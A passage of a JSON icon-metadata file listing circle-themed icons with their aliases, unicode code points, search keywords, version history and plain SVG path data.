        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-352a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      },
      "regular": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-down": {
    "aliases": {
      "names": ["arrow-alt-circle-down"],
      "unicodes": {
        "composite": ["f01a"],
        "secondary": ["10f358"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-down", "download"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f358",
    "label": "Circle Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6L269.8 394.5c-3.8 3.5-8.7 5.5-13.8 5.5s-10.1-2-13.8-5.5L135.1 294.6c-4.5-4.2-7.1-10.1-7.1-16.3c0-12.3 10-22.3 22.3-22.3l57.7 0 0-96c0-17.7 14.3-32 32-32l32 0c17.7 0 32 14.3 32 32l0 96 57.7 0c12.3 0 22.3 10 22.3 22.3c0 6.2-2.6 12.1-7.1 16.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6L269.8 394.5c-3.8 3.5-8.7 5.5-13.8 5.5s-10.1-2-13.8-5.5L135.1 294.6c-4.5-4.2-7.1-10.1-7.1-16.3c0-12.3 10-22.3 22.3-22.3l57.7 0 0-96c0-17.7 14.3-32 32-32l32 0c17.7 0 32 14.3 32 32l0 96 57.7 0c12.3 0 22.3 10 22.3 22.3c0 6.2-2.6 12.1-7.1 16.3z"
      },
      "regular": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 464a208 208 0 1 1 0-416 208 208 0 1 1 0 416zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6c4.5-4.2 7.1-10.1 7.1-16.3c0-12.3-10-22.3-22.3-22.3H304V160c0-17.7-14.3-32-32-32l-32 0c-17.7 0-32 14.3-32 32v96H150.3C138 256 128 266 128 278.3c0 6.2 2.6 12.1 7.1 16.3l107.1 99.9c3.8 3.5 8.7 5.5 13.8 5.5s10.1-2 13.8-5.5l107.1-99.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 464a208 208 0 1 1 0-416 208 208 0 1 1 0 416zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM376.9 294.6c4.5-4.2 7.1-10.1 7.1-16.3c0-12.3-10-22.3-22.3-22.3H304V160c0-17.7-14.3-32-32-32l-32 0c-17.7 0-32 14.3-32 32v96H150.3C138 256 128 266 128 278.3c0 6.2 2.6 12.1 7.1 16.3l107.1 99.9c3.8 3.5 8.7 5.5 13.8 5.5s10.1-2 13.8-5.5l107.1-99.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-exclamation": {
    "aliases": {
      "names": ["exclamation-circle"],
      "unicodes": {
        "secondary": ["10f06a"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "affect",
        "alert",
        "damage",
        "danger",
        "error",
        "important",
        "notice",
        "notification",
        "notify",
        "problem",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f06a",
    "label": "Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-384c13.3 0 24 10.7 24 24V264c0 13.3-10.7 24-24 24s-24-10.7-24-24V152c0-13.3 10.7-24 24-24zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-384c13.3 0 24 10.7 24 24V264c0 13.3-10.7 24-24 24s-24-10.7-24-24V152c0-13.3 10.7-24 24-24zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "circle-h": {
    "aliases": {
      "names": ["hospital-symbol"],
      "unicodes": {
        "composite": ["24bd"],
        "secondary": ["10f47e"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Circled Latin Capital Letter H",
        "clinic",
        "covid-19",
        "emergency",
        "letter",
        "map"
      ]
    },
    "styles": ["solid"],
    "unicode": "f47e",
    "label": "Circle H",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM368 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H192l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H320V152c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM368 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H192l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H320V152c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "circle-half-stroke": {
    "aliases": {
      "names": ["adjust"],
      "unicodes": {
        "composite": ["25d0"],
        "secondary": ["10f042"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Circle with Left Half Black",
        "adjust",
        "chart",
        "contrast",
        "dark",
        "fill",
        "light",
        "pie",
        "progress",
        "saturation"
      ]
    },
    "styles": ["solid"],
    "unicode": "f042",
    "label": "Circle Half Stroke",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 256c0-106-86-192-192-192V448c106 0 192-86 192-192zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 256c0-106-86-192-192-192V448c106 0 192-86 192-192zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "circle-info": {
    "aliases": {
      "names": ["info-circle"],
      "unicodes": {
        "secondary": ["10f05a"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["details", "help", "information", "more", "support"]
    },
    "styles": ["solid"],
    "unicode": "f05a",
    "label": "Circle Info",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "circle-left": {
    "aliases": {
      "names": ["arrow-alt-circle-left"],
      "unicodes": {
        "composite": ["f190"],
        "secondary": ["10f359"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-left", "back", "previous"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f359",
    "label": "Circle Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9L117.5 269.8c-3.5-3.8-5.5-8.7-5.5-13.8s2-10.1 5.5-13.8l99.9-107.1c4.2-4.5 10.1-7.1 16.3-7.1c12.3 0 22.3 10 22.3 22.3l0 57.7 96 0c17.7 0 32 14.3 32 32l0 32c0 17.7-14.3 32-32 32l-96 0 0 57.7c0 12.3-10 22.3-22.3 22.3c-6.2 0-12.1-2.6-16.3-7.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9L117.5 269.8c-3.5-3.8-5.5-8.7-5.5-13.8s2-10.1 5.5-13.8l99.9-107.1c4.2-4.5 10.1-7.1 16.3-7.1c12.3 0 22.3 10 22.3 22.3l0 57.7 96 0c17.7 0 32 14.3 32 32l0 32c0 17.7-14.3 32-32 32l-96 0 0 57.7c0 12.3-10 22.3-22.3 22.3c-6.2 0-12.1-2.6-16.3-7.1z"
      },
      "regular": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 256a208 208 0 1 1 416 0A208 208 0 1 1 48 256zm464 0A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9c4.2 4.5 10.1 7.1 16.3 7.1c12.3 0 22.3-10 22.3-22.3V304h96c17.7 0 32-14.3 32-32V240c0-17.7-14.3-32-32-32H256V150.3c0-12.3-10-22.3-22.3-22.3c-6.2 0-12.1 2.6-16.3 7.1L117.5 242.2c-3.5 3.8-5.5 8.7-5.5 13.8s2 10.1 5.5 13.8l99.9 107.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48 256a208 208 0 1 1 416 0A208 208 0 1 1 48 256zm464 0A256 256 0 1 0 0 256a256 256 0 1 0 512 0zM217.4 376.9c4.2 4.5 10.1 7.1 16.3 7.1c12.3 0 22.3-10 22.3-22.3V304h96c17.7 0 32-14.3 32-32V240c0-17.7-14.3-32-32-32H256V150.3c0-12.3-10-22.3-22.3-22.3c-6.2 0-12.1 2.6-16.3 7.1L117.5 242.2c-3.5 3.8-5.5 8.7-5.5 13.8s2 10.1 5.5 13.8l99.9 107.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-minus": {
    "aliases": {
      "names": ["minus-circle"],
      "unicodes": {
        "secondary": ["10f056"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["delete", "hide", "negative", "remove", "shape", "trash"]
    },
    "styles": ["solid"],
    "unicode": "f056",
    "label": "Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM184 232H328c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM184 232H328c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "circle-nodes": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cluster", "connect", "network"]
    },
    "styles": ["solid"],
    "unicode": "e4e2",
    "label": "Circle Nodes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M418.4 157.9c35.3-8.3 61.6-40 61.6-77.9c0-44.2-35.8-80-80-80c-43.4 0-78.7 34.5-80 77.5L136.2 151.1C121.7 136.8 101.9 128 80 128c-44.2 0-80 35.8-80 80s35.8 80 80 80c12.2 0 23.8-2.7 34.1-7.6L259.7 407.8c-2.4 7.6-3.7 15.8-3.7 24.2c0 44.2 35.8 80 80 80s80-35.8 80-80c0-27.7-14-52.1-35.4-66.4l37.8-207.7zM156.3 232.2c2.2-6.9 3.5-14.2 3.7-21.7l183.8-73.5c3.6 3.5 7.4 6.7 11.6 9.5L317.6 354.1c-5.5 1.3-10.8 3.1-15.8 5.5L156.3 232.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M418.4 157.9c35.3-8.3 61.6-40 61.6-77.9c0-44.2-35.8-80-80-80c-43.4 0-78.7 34.5-80 77.5L136.2 151.1C121.7 136.8 101.9 128 80 128c-44.2 0-80 35.8-80 80s35.8 80 80 80c12.2 0 23.8-2.7 34.1-7.6L259.7 407.8c-2.4 7.6-3.7 15.8-3.7 24.2c0 44.2 35.8 80 80 80s80-35.8 80-80c0-27.7-14-52.1-35.4-66.4l37.8-207.7zM156.3 232.2c2.2-6.9 3.5-14.2 3.7-21.7l183.8-73.5c3.6 3.5 7.4 6.7 11.6 9.5L317.6 354.1c-5.5 1.3-10.8 3.1-15.8 5.5L156.3 232.2z"
      }
    },
    "free": ["solid"]
  },
  "circle-notch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1ce"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "circle-o-notch",
        "diameter",
        "dot",
        "ellipse",
        "round",
        "spinner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ce",
    "label": "Circle Notch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M222.7 32.1c5 16.9-4.6 34.8-21.5 39.8C121.8 95.6 64 169.1 64 256c0 106 86 192 192 192s192-86 192-192c0-86.9-57.8-160.4-137.1-184.1c-16.9-5-26.6-22.9-21.5-39.8s22.9-26.6 39.8-21.5C434.9 42.1 512 140 512 256c0 141.4-114.6 256-256 256S0 397.4 0 256C0 140 77.1 42.1 182.9 10.6c16.9-5 34.8 4.6 39.8 21.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M222.7 32.1c5 16.9-4.6 34.8-21.5 39.8C121.8 95.6 64 169.1 64 256c0 106 86 192 192 192s192-86 192-192c0-86.9-57.8-160.4-137.1-184.1c-16.9-5-26.6-22.9-21.5-39.8s22.9-26.6 39.8-21.5C434.9 42.1 512 140 512 256c0 141.4-114.6 256-256 256S0 397.4 0 256C0 140 77.1 42.1 182.9 10.6c16.9-5 34.8 4.6 39.8 21.5z"
      }
    },
    "free": ["solid"]
  },
  "circle-pause": {
    "aliases": {
      "names": ["pause-circle"],
      "unicodes": {
        "composite": ["f28c"],
        "secondary": ["10f28b"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hold", "wait"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f28b",
    "label": "Circle Pause",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM224 192V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM224 192V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      },
      "regular": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm224-72V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24zm112 0V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm224-72V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24zm112 0V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-play": {
    "aliases": {
      "names": ["play-circle"],
      "unicodes": {
        "composite": ["f01d"],
        "secondary": ["10f144"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["audio", "music", "playing", "sound", "start", "video"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f144",
    "label": "Circle Play",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c-7.6 4.2-12.3 12.3-12.3 20.9V344c0 8.7 4.7 16.7 12.3 20.9s16.8 4.1 24.3-.5l144-88c7.1-4.4 11.5-12.1 11.5-20.5s-4.4-16.1-11.5-20.5l-144-88c-7.4-4.5-16.7-4.7-24.3-.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c-7.6 4.2-12.3 12.3-12.3 20.9V344c0 8.7 4.7 16.7 12.3 20.9s16.8 4.1 24.3-.5l144-88c7.1-4.4 11.5-12.1 11.5-20.5s-4.4-16.1-11.5-20.5l-144-88c-7.4-4.5-16.7-4.7-24.3-.5z"
      },
      "regular": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c7.6-4.2 16.8-4.1 24.3 .5l144 88c7.1 4.4 11.5 12.1 11.5 20.5s-4.4 16.1-11.5 20.5l-144 88c-7.4 4.5-16.7 4.7-24.3 .5s-12.3-12.2-12.3-20.9V168c0-8.7 4.7-16.7 12.3-20.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c7.6-4.2 16.8-4.1 24.3 .5l144 88c7.1 4.4 11.5 12.1 11.5 20.5s-4.4 16.1-11.5 20.5l-144 88c-7.4 4.5-16.7 4.7-24.3 .5s-12.3-12.2-12.3-20.9V168c0-8.7 4.7-16.7 12.3-20.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-plus": {
    "aliases": {
      "names": ["plus-circle"],
      "unicodes": {
        "secondary": ["10f055"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "expand", "new", "positive", "shape"]
    },
    "styles": ["solid"],
    "unicode": "f055",
    "label": "Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM232 344V280H168c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM232 344V280H168c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      }
    },
    "free": ["solid"]
  },
  "circle-question": {
    "aliases": {
      "names": ["question-circle"],
      "unicodes": {
        "composite": ["f29c"],
        "secondary": ["10f059"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["help", "information", "support", "unknown"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f059",
    "label": "Circle Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM169.8 165.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM169.8 165.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      },
      "regular": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm169.8-90.7c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm169.8-90.7c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-radiation": {
    "aliases": {
      "names": ["radiation-alt"],
      "unicodes": {
        "composite": ["2622"],
        "secondary": ["10f7ba"]
      }
    },
    "changes": [
      "5.6.0",
      "5.8.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "danger",
        "dangerous",
        "deadly",
        "hazard",
        "nuclear",
        "radioactive",
        "sign",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7ba",
    "label": "Circle Radiation",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64a192 192 0 1 1 0 384 192 192 0 1 1 0-384zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM200 256c0-20.7 11.3-38.8 28-48.5l-36-62.3c-8.8-15.3-28.7-20.8-42-9c-25.6 22.6-43.9 53.3-50.9 88.1C95.7 241.5 110.3 256 128 256l72 0zm28 48.5l-36 62.4c-8.8 15.3-3.6 35.2 13.1 40.8c16 5.4 33.1 8.3 50.9 8.3s34.9-2.9 50.9-8.3c16.7-5.6 21.9-25.5 13.1-40.8l-36-62.4c-8.2 4.8-17.8 7.5-28 7.5s-19.8-2.7-28-7.5zM312 256l72 0c17.7 0 32.3-14.5 28.8-31.8c-7-34.8-25.3-65.5-50.9-88.1c-13.2-11.7-33.1-6.3-42 9l-36 62.3c16.7 9.7 28 27.8 28 48.5zm-56 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
